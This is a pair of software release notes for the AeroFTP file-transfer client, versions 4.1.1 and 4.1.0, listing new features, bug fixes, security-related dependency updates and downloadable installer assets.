A consolidation release built on the v4.1.0 feedback. Encrypted-overlay profiles (AeroCrypt and rclone-crypt) now stay encrypted through one transparent decorator wired at every provider chokepoint, so no surface can bypass the overlay and write plaintext into an encrypted store. AeroShare gains the two deferred P2P privacy controls (an anti-flood gate and a public-DHT opt-out), 7z can create archives with encrypted headers to hide filenames, Kilo Gateway joins the native AeroAgent providers, and a broad triage batch closes the confirmed bugs reported against v4.1.0. 47 languages translated.
Added
- Transparent crypt overlays end to end via a single decorator: encrypted-overlay profiles (native AeroCrypt and rclone-crypt) are now wrapped by one
CryptOverlayProviderwired at every provider resolver chokepoint (CLI, cross-profile, AeroAgent, MCP, GUI, AeroCloud background sync, the selective-sync folder tree), so a surface that resolves its own provider can no longer bypass the overlay and write plaintext into the encrypted store or read ciphertext back. The decorator is fail-closed: a bound-but-locked vault is refused, never downgraded to raw. This grew out of an AeroSync compare/sync mismatch on a crypt profile where the overlay was applied ad hoc per command. (@EhudKirsh) - Resume interrupted transfers: a Resume action continues an interrupted upload or download from where it stopped instead of restarting from zero.
- 7z create with encrypted header (-mhe) to hide filenames: opt-in like 7-Zip's "Encrypt file names" checkbox under the password. Off keeps content-only encryption (names readable); on hides the names too and then requires the password even to list the archive. Migrated from the unmaintained sevenz-rust 0.6 to sevenz-rust2 0.21. Wired into the Compress dialog and the CLI (
aeroftp compress --encrypt-names); encrypted-header archives open in the existing GUI browser and standalone extract window. (#365) - AeroShare anti-flood gate and public-DHT opt-out (the two AeroShare P2P follow-ups deferred from the v4.1.0 audit): inbound knocks, actions and file offers are gated before they reach the UI with a per-sender mute (always on), an optional friends-only allowlist (off by default to preserve first contact) and an in-memory sliding-window rate limit (default 20 signals per sender per minute, 0 disables). The long-term AFID can be kept off the public DHT with a new
nonediscovery mode, discovery is now a persisted per-partition setting (both/dht/n0/none, all in Settings), and a destructive AFID rotation is guarded by a two-step confirm and stops every live served share first. New AeroSharePrivacySettings panel and a Mute-sender action on the knock prompt, 29 i18n keys across 47 locales. (#284) - Kilo Gateway as a native AeroAgent AI provider: an OpenAI-compatible gateway routing to many open and free models behind one key, including the rotating Auto Free model (
kilo-auto/free, 256K context, no credits required), plus paid Anthropic, OpenAI and Mistral with a signup credit. Wired through the existing OpenAI-compatible dispatch with full CLI parity. (#382) - Benchmark group and all selection:
aero benchmark --group <NAME>(repeatable, comma-aware) benchmarks the members of a My Servers group and--allbenchmarks every saved profile, so a comparison needs no manual list. A profile-type column disambiguates multi-protocol profiles, the many-small-files run shows a live progress bar instead of a blind wait, and a mid-run public-IP change that reverts before the sweep ends still flags the comparison as not comparable. (@EhudKirsh, #277) - AeroSync receipt item total and JSON export: the sync success banner now prints the total item count (uploaded plus downloaded plus deleted plus folders created) so it reconciles at a glance with the compare difference count, and an Export JSON button saves the full run report as pretty JSON.
Fixed
- v4.1.0 feedback triage batch (six confirmed bugs): Filen S3 rename and delete of emoji or non-ASCII names no longer return a 401 signature error (Filen's already percent-encoded keys were double-encoded, breaking the SigV4 copy-source); OpenDrive API upload no longer fails with "Incorrect chunk offset" (its multipart protocol is strictly sequential, so fan-out is capped at 1); the benchmark no longer leaves an empty scratch folder on Google Drive, MEGA and kDrive (best-effort emptiness-guarded cleanup plus idempotent mkdir); the
--tuipicker no longer flickers when the help row wraps in split-screen; AeroFile eject no longer flashes a console window on Windows (a shared CREATE_NO_WINDOW spawn helper now also covers rclone import and the schtasks autostart); and a just-ejected drive no longer lingers in Other Locations. (@EhudKirsh, #368, #351, #277) - FTPS and other TLS connections from
aeroftp-clino longer crash on connect: the CLI never installed a rustlsCryptoProviderwhile bothaws-lc-rsandringwere in the dependency tree, so the first TLS handshake panicked; fixed by pinning aws-lc-rs once at startup. Alongside, suppaftp was bumped 8.0.3 to 10.0.0, replacing its internal panics on malformed server responses with proper error results and closing RUSTSEC-2026-0009 (stack exhaustion viatime). Validated live on plain FTP and explicit FTPS put/get round-trips. - The 7z compression level now takes effect: the Compress dialog's Fast/Normal/Maximum buttons and the CLI's
--levelwere handed to the encoder but then dropped, so every 7z used the library default; the create path now maps the 0-9 level onto LZMA2's preset in both the password and the plain branch. (#365) - Duplicating a saved profile now copies every stored secret, not just the main password: the copy dropped the per-mode credential snapshot, the Filen CLI key and the AeroCrypt overlay password and salt, so the copy opened blank and could not connect. A shared vault-secrets helper now copies each per-profile vault key on duplicate and purges the full key set on delete, recomputing every has-stored flag from what actually copied (audit F-01/F-02). (@EhudKirsh, #366)
- Profile import keeps distinct profiles that share an account: import skipped any profile whose host, port and username matched an existing one, silently dropping legitimately distinct profiles that differ by protocol, crypt overlay, bound folder or auth mode. Only a true re-import (same stable profile id) is now skipped; a profile that merely resembles an existing one is kept and reported.
- An rclone-crypt overlay connection now opens at the configured Remote Path instead of the provider root: the post-unlock decrypted reload listed with a null path and fell back to the root; it now anchors to the session's bound overlay scope.
- A 2FA-protected connection to an encrypted-overlay profile now unlocks the overlay after the code is entered: the 2FA retry re-entered through the Quick Connect path, which had none of the saved-profile overlay logic; it now runs the same overlay activation as the saved-server connect.
- AeroCrypt overlays unlock on OAuth backends: a crypt password saved on an OAuth profile (Google Drive, Dropbox, OneDrive, Box, pCloud, 4shared) was never unlocked because both OAuth connect paths returned early before the overlay logic; the credential-provider sequence is now mirrored on both OAuth branches. (@EhudKirsh)
- AeroCrypt v3 reports decrypted sizes and preserves the upload mtime: the overlay now advertises plaintext sizes for v3 items and keeps the original modification time across an encrypted upload.
- AeroShare "reveal received file" selects the file in the file manager on Linux instead of opening it, via the D-Bus
org.freedesktop.FileManager1.ShowItemsmethod (Nautilus, Dolphin, Nemo, Caja), falling back to opening the parent folder on minimal distros. Matches the Windows/select,and macOS-Rpaths. - The "Open Cloud Folder" tray entry is now disabled when AeroCloud is off, guarding the stale-enabled case where the menu opened the non-existent
~/AeroClouddefault path. - The folder picker no longer crashes on a stale or non-existent start path: handing a non-existent
defaultPathto the native GTK folder chooser crashed the app with heap corruption (common after importing a profile from another machine); the chooser is now fixed at the point of use so it still opens for picking a new folder. - The AeroTools bottom panel and the text preview now follow the Ice theme instead of rendering dark, and the AI Settings, Add/Edit Model and AeroAgent model modals are draggable by their header; the text-preview scrollbar is widened. (@EhudKirsh, #347)
- The master-password lock screen now has the window controls and a top drag region, mirroring the account picker, so the window can be moved and controlled before unlocking. Clicking a line number in the text preview selects that whole line, IDE-gutter style. (@EhudKirsh, #347)
- The remote file panel deselects on an empty-area click (matching the local panel) and the toolbar Stop button shows a cancel spinner while an AeroSync run is being stopped.
- The AeroSync receipt no longer undercounts created folders: parent-directory creations are now counted into the report so the total reconciles with the compare difference count.
- v4.1.1 pre-release audit hardening: crypt compare and reconcile no longer double-handle an already wrapped CLI/MCP overlay provider; shaped multipart Stop cancels begin/part/commit and aborts the provider session; crypt-wrapped GitHub profiles use the generic encrypting write path instead of failing a GitHub-only downcast; the GitHub executor upload is cancel-aware; and Google Drive folder-only mkdir is idempotent.
Changed
- Retired the legacy per-command crypt layer: the crypt-overlay decorator subsumes the old unlock-dialog mini-browser and the per-command crypt folder, mkdir and rename commands, which have been removed.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
Download AeroFTP
- AeroFTP-4.1.1-1.x86_64.rpm - 144.8 MB · 9×
- AeroFTP-4.1.1-1.x86_64.rpm.sigstore.json - 10.2 KB · 5×
- AeroFTP-4.1.1-portable-windows-x64.zip - 79.2 MB · 28×
- AeroFTP-4.1.1-portable-windows-x64.zip.sigstore.json - 10 KB · 10×
- AeroFTP_4.1.1_aarch64-beta.dmg - 81.7 MB · 28×
- AeroFTP_4.1.1_amd64.AppImage - 84.5 MB · 16×
- AeroFTP_4.1.1_amd64.AppImage.sigstore.json - 10.2 KB · 4×
- AeroFTP_4.1.1_amd64.deb - 68.7 MB · 58×
- AeroFTP_4.1.1_amd64.deb.sigstore.json - 10.2 KB · 13×
- aeroftp_4.1.1_amd64.snap - 272.6 MB · 7×
- aeroftp_4.1.1_amd64.snap.sigstore.json - 10.1 KB · 4×
- AeroFTP_4.1.1_x64-beta.dmg - 85.8 MB · 10×
- AeroFTP_4.1.1_x64-setup.exe - 55.7 MB · 186×
- AeroFTP_4.1.1_x64-setup.exe.sigstore.json - 9.8 KB · 21×
- AeroFTP_4.1.1_x64_en-US.msi - 82.6 MB · 170×
- AeroFTP_4.1.1_x64_en-US.msi.sigstore.json - 10 KB · 26×
v4.1.0 2mo ago · 567 · 16 Assets
[4.1.0] - 2026-06-28
AeroShare Peer-to-Peer (Beta Preview), the AeroAgent Coding Loop and Per-User Groups
The headline of v4.1.0 is AeroShare, a Beta preview of direct, end-to-end-encrypted device-to-device transfer with no server in the middle. It is the seventh module of the Aero Family: send a file or a folder straight to another person over a peer-to-peer channel (iroh 1.0 with Mainline-DHT discovery and federated relays), always-on at launch, with a Discover tile, a titlebar +friend button, a draggable hub and a status-bar receiver indicator. Alongside it, AeroAgent gains a foundation coding loop (a curated, GUI-only, approval-gated tool set for local development), server groups and favourites move into each user's encrypted partition, the interactive CLI grows a New(N) verb and per-user management, the aero benchmark defects are fixed, the Filen Desktop bridges work headless, OS "Extract here / to folder" verbs land on Nautilus and Windows, Windows USB eject works, and the in-app sigstore update verification verifies for real again. The P2P stack was migrated from iroh 0.92 to 1.0, clearing 6 Dependabot alerts. 47 languages translated.
Added
- AeroShare: end-to-end-encrypted peer-to-peer transfer (Beta): send files and folders directly to another user with no hosted account in the middle, over a peer-to-peer channel built on iroh 1.0 with decentralized Mainline-DHT discovery and federated relays as fallback. AeroShare is now always-on at launch (it was hidden behind an off-by-default Settings flag and undiscoverable): the Discover tile carries a 256-bit E2E badge, the +friend button sits in the titlebar, and the handshake dialog is always available. Adding a friend or sharing a folder auto-activates the feature; the standing receive loop is opt-in via a one-time prompt, both changeable from Settings. Each sender gets their own Inbox and an address book remembers the people you exchange with. The hub dialog is draggable by its header and a status-bar pill next to AeroCloud surfaces the receive loop at a glance and toggles it on click. i18n 47/47. (@EhudKirsh, #284)
- AeroAgent coding loop (foundation): a curated GUI tool set for local coding work, GUI-only and either read-only or approval-gated, with no change to the transfer or file-management tools. It adds ripgrep workspace search, structured cargo/tsc/eslint diagnostics, git read (log/show) plus stage and commit, a run-checks runner and an ordered multi-check verify, safe patch with automatic checkpoints, and review cards.
- Native CLI profile export/import (@EhudKirsh, #215):
aeroftp-cli profile-exportandprofile-importwrite and read an encrypted.aeroftpprofile backup, byte-compatible with the GUI's My Servers Export/Import (a file made in one imports in the other). It reuses the GUI's exact collect/restore path, so the per-protocol credential snapshots are shared, not duplicated; secrets are opt-in via--include-credentials. - Per-protocol credentials survive profile export/import (@EhudKirsh, #215): a one-account-many-protocols profile (for example a Koofr account saved as Native API + WebDAV) now keeps each mode's saved credentials across export and import. The per-protocol snapshots, the "Remember credentials for every protocol" opt-in and the OAuth Remote Path field all round-trip, and the import dialog's "contains credentials" badge accounts for every secret kind.
- Interactive
New(N)verb acrossprofiles -i/groups -i/users -i(@EhudKirsh, #311): create a profile, group or user from inside the-iloop (the rclonen) New remotemodel) instead of dropping out to a separate add command.profiles -in [query]runs a service-first catalog picker;groups -inmakes an empty group;users -ina new local user. groups -imember add/remove (@EhudKirsh, #311):a <group> <profile...>andx <group> <profile...>curate a group's membership from inside the loop, idempotent and multi-target.- Per-user server groups and favourites (CLI + GUI): groups and favourites used to live in a single global vault blob shared across every local user; they now route through each user's encrypted partition, with a best-effort one-time seed from the legacy blob so existing groups and favourites carry over. The default user is now a real
is_defaultdatabase column (was localStorage) with Manage Users parity and a vault-aware sidebar. - OS "Extract here / to folder" verbs for archives and vaults (Deliverable G): a right-click "AeroFile" submenu on Nautilus (Linux) and the Windows shell, with "Extract here" and "Extract to folder" for zip/7z/tar/rar and the aero containers, mirroring the standard extract pair. A clear archive extracts headlessly via the CLI; an encrypted one or a vault opens a dedicated minimal password window that never boots the main app. The MSI installer reaches parity with NSIS via a WiX fragment. Additive verbs only, the double-click Open is untouched. Validated live on GNOME Nautilus 46.
- Quick Connect connector harmonization (@EhudKirsh, #215): the single-column connectors now use the same two-column layout as every other provider, and the 8 OAuth clouds expose Wrappers / Overlays (a transparent crypt overlay on the 7 overlay-eligible OAuth backends, persisted through the OAuth save path). The profile name with a clickable icon avatar moved to the top of the form, Local Path now sits above Remote Path, and the Wrappers / Overlays section starts expanded by default.
.aeroftp-scriptregistered as the 5th OS file format + a generic archive icon: the README advertised five AeroFTP file formats but only four were OS-registered;.aeroftp-scriptis now registered on all OSes, and a shared amber archive-family icon was added for the supported compressed formats.- Windows USB eject (@EhudKirsh, #351): the AeroFile PLACES eject control now performs a real safe removal via the Shell.Application "Eject" verb, polling until the drive disappears so a real failure surfaces instead of a silent false success. The power glyph becomes a standard eject symbol, the no-media ghost row is dropped after a successful eject, and an eject failure always raises a visible toast. Validated on real Windows 11 hardware.
- OpenDrive privacy is editable end to end (@EhudKirsh, #252): OpenDrive's three-level access model (private, public, hidden) is now controllable from every surface. Properties > Permissions reads and changes the privacy of an existing file or folder, including a multi-selection that applies the same level to every selected item at once; Quick Connect gains a per-account "Default privacy for new items" so new uploads and folders inherit your chosen level instead of whatever OpenDrive assigns. The CLI gains an
accessverb (aeroftp-cli access --profile NAME /path --to private|public|hidden) for an existing path, plus an--accessflag onputandmkdir; folder privacy cascades to children, and CLI creates default to private (max-privacy, opt out with--access public), mirroring rclone's--opendrive-access. The levels are private (not listed or shared, owner-only), public (anyone with the link, searchable) and hidden (reachable by direct link only, not searchable).
Changed
- AeroShare is discoverable by default (see Added): the feature is no longer gated behind an off-by-default Settings flag.
-iaction bars reordered safe-first (@EhudKirsh, #311): theprofiles/groups/usersinteractive action bars lead with the read-only verbs and Help(H), with re-index moved out of the front and the destructive Delete(D) last before Quit. The key letters are unchanged, so no automation breaks.groups -i/users -ipolish (@EhudKirsh, #311, #341): a labelled action bar with Help(H/?), a Refresh(.) that clears the screen, compact one-token selectors, a header rule, count columns, and arrow + strikethrough summaries on re-index and delete, matchingprofiles -i.
Fixed
- Filen S3 empty-folder rename explains itself instead of leaking a raw 401 (@EhudKirsh, #368): renaming an empty folder on Filen's local S3 bridge now returns the actionable "add a file inside the folder first, or use the native API / WebDAV bridge" message instead of a cryptic
HEAD on rename source returned status 401. An empty folder is a virtual prefix with no object, so the copy-then-delete rename has nothing to copy; the 401/403 from a Filen S3 endpoint is mapped to that case, scoped tois_filen_s3_endpoint()so real files and non-empty folders are unaffected. - Filen Desktop bridges work outside the GUI, OpenDrive API host self-heals (@EhudKirsh, #368): the Filen Desktop local bridges authenticate to a loopback server defaulting to admin/admin, but that blank-to-admin/admin fallback lived only in the GUI connect path, so the CLI, benchmark, MCP and schedulers sent empty credentials and failed. A shared helper now applies the same fallback on both headless paths. Separately, an OpenDrive profile switched from the WebDAV preset into native API mode could keep
webdav.opendrive.comand hit the WebDAV HTML auth page; the host is now normalized todev.opendrive.com. aero benchmarkreal defects fixed (@EhudKirsh, #368): the shared scratch base is removed after a run (guarded, so a pre-existing base, a concurrent run or a--test-root-prefixis never touched), the scratch tree is built with mkdir-parents so servers that refuse nested collections (pCloud WebDAV) work, both the per-profile header and the comparison tables gained a protocol column, a public-IP snapshot flags a run as not comparable if the IP changed mid-sweep, a multi-profile run shows[k/N]per profile plus per-operationrun k/N, a Yandex region hint is shown on endpoint errors, and the Connection-type is clarified as downstream Mbps.aero benchmark --tuiprofile picker no longer flickers on scroll (@EhudKirsh, #277): the picker repaints in place instead of clearing the whole screen every frame.- Filen Quick Connect Save persists an API-key deletion and cancels the 2FA countdown (@EhudKirsh, #128, #215): the green Save removes the key from the vault and cancels the bottom-right 2FA auto-login countdown so it cannot fire a stale TOTP reconnect.
- Copy/Move a server profile to another user no longer loses data (@EhudKirsh, #366): a Move now always materialises the profile in the destination first and removes the source only after, so moving a profile whose equivalent already existed in the target no longer destroys the only copy. The account picker also reuses the shared
UserAvatarinstead of rendering a raw base64 string that overflowed the avatar circle. - Transfer Queue per-item bar advances on Crypt overlays (@EhudKirsh, #364): both the rclone-crypt and native AeroCrypt overlays now emit live start/progress/complete events, so folder uploads drive the running file-count badge and single-file uploads advance the byte-progress bar.
- "Active Sessions" sidebar filter appears for Quick Connect re-auths (#128, @EhudKirsh): a form-driven connection (notably an OAuth re-auth) now binds to its matching saved profile before the session is created, so it lights up both the header badge and the sidebar filter.
- Bridge setup box no longer flashes open then collapses (@EhudKirsh, #215): switching to a Filen Desktop / MEGAcmd bridge tab no longer flashes the "Setup first" box during the probe; it knows synchronously that the active mode is a bridge and starts collapsed.
- Run tray-less when libappindicator is missing (@redpay, #362): the app no longer panics at launch on Fedora Silverblue and other minimal or immutable distros that lack libappindicator / ayatana-appindicator3; it runs without a tray and bypasses close-to-tray when no tray is available.
- Welcome / splash version is now dynamic (@EhudKirsh, #367): the splash injects the real running crate version at launch instead of a hardcoded string that read "v4.0.8" under v4.0.9, so the label can never drift from the published version again.
Security
- iroh family migrated 0.92 to 1.0 (iroh 1.0, iroh-blobs 0.103, iroh-docs 0.101, iroh-gossip 0.101), clearing the 6 Dependabot alerts the old line pinned (hickory-proto x4 and lru x2) via hickory-proto 0.26.1 and lru 0.18.0. Decentralized Mainline-DHT discovery is preserved by re-wiring onto iroh 1.0's address-lookup API.
- Sigstore update verification now actually verifies (#358): the in-app signature check had been stuck on its amber "verification unavailable" fallback since v3.3.2 because sigstore 0.13 could not parse GitHub's v0.3 signing bundles; the bump to sigstore 0.14 adds v0.3 parsing, so it returns a real verified result on releases. It stays a non-blocking second factor with the artifact SHA-256 as the primary integrity check. Drops 3 now-moot cargo-audit ignores.
- In-range dependency refresh plus the
softprops/action-gh-release3.0.0 to 3.0.1 bump (#353, kept SHA-pinned), and the Checks CI workflow restored to green after acargo fmtdrift. - Windows local-STT build fix (#344): two MSVC-only CMake env vars force whisper.cpp to the static release runtime, resolving the LNK2038 runtime-library mismatch at the link stage; inert on Linux and macOS.
Internal
- Provider offline-test coverage complete across all 16 unit-only providers (@EhudKirsh, #347): a deterministic, no-network regression net for Azure Blob, Koofr, Yandex Disk, Cloudinary, Uploadcare, GitLab, Filen, 4shared, kDrive, Jottacloud, Zoho WorkDrive, Internxt, Drime and Immich (GitHub was already covered; Swift is skipped as its only profile, Blomp, is inactive). Each provider gained a behaviour-preserving pure classify or parse seam plus matrix tests; 30 new unit tests, no production behaviour change.
Documentation
- Public documentation refreshed for v4.1.0: AeroShare added to the README and the Aero Family, per-user groups and favourites documented in
docs/MULTI-USER.md, the AeroAgent coding tools added to the AeroAgent docs, the new CLI verbs (profile-export/profile-import, the-iloops) documented inAGENTS.mdanddocs/CLI-GUIDE.md, and the benchmark, Filen Desktop bridge and OpenDrive notes carried intodocs/COMMUNITY-BENCHMARK.md,docs/BRIDGE-COMPATIBILITY.mdanddocs/PROVIDERS.md.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />
<img src="https://github.com/redpay.png?size=48" width="48" height="48" alt="@redpay" />
Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
Download AeroFTP
- AeroFTP-4.1.0-1.x86_64.rpm - 143.8 MB · 8×
- AeroFTP-4.1.0-1.x86_64.rpm.sigstore.json - 10.2 KB · 4×
- AeroFTP-4.1.0-portable-windows-x64.zip - 79 MB · 20×
- AeroFTP-4.1.0-portable-windows-x64.zip.sigstore.json - 10.2 KB · 7×
- AeroFTP_4.1.0_aarch64-beta.dmg - 81.4 MB · 20×
- AeroFTP_4.1.0_amd64.AppImage - 84.1 MB · 20×
- AeroFTP_4.1.0_amd64.AppImage.sigstore.json - 10.1 KB · 3×
- AeroFTP_4.1.0_amd64.deb - 68.5 MB · 52×
- AeroFTP_4.1.0_amd64.deb.sigstore.json - 10 KB · 9×
- aeroftp_4.1.0_amd64.snap - 272.1 MB · 10×
- aeroftp_4.1.0_amd64.snap.sigstore.json - 10.1 KB · 5×
- AeroFTP_4.1.0_x64-beta.dmg - 85.5 MB · 14×
- AeroFTP_4.1.0_x64-setup.exe - 55.5 MB · 198×
- AeroFTP_4.1.0_x64-setup.exe.sigstore.json - 10.1 KB · 17×
- AeroFTP_4.1.0_x64_en-US.msi - 82.4 MB · 160×
- AeroFTP_4.1.0_x64_en-US.msi.sigstore.json - 10.1 KB · 20×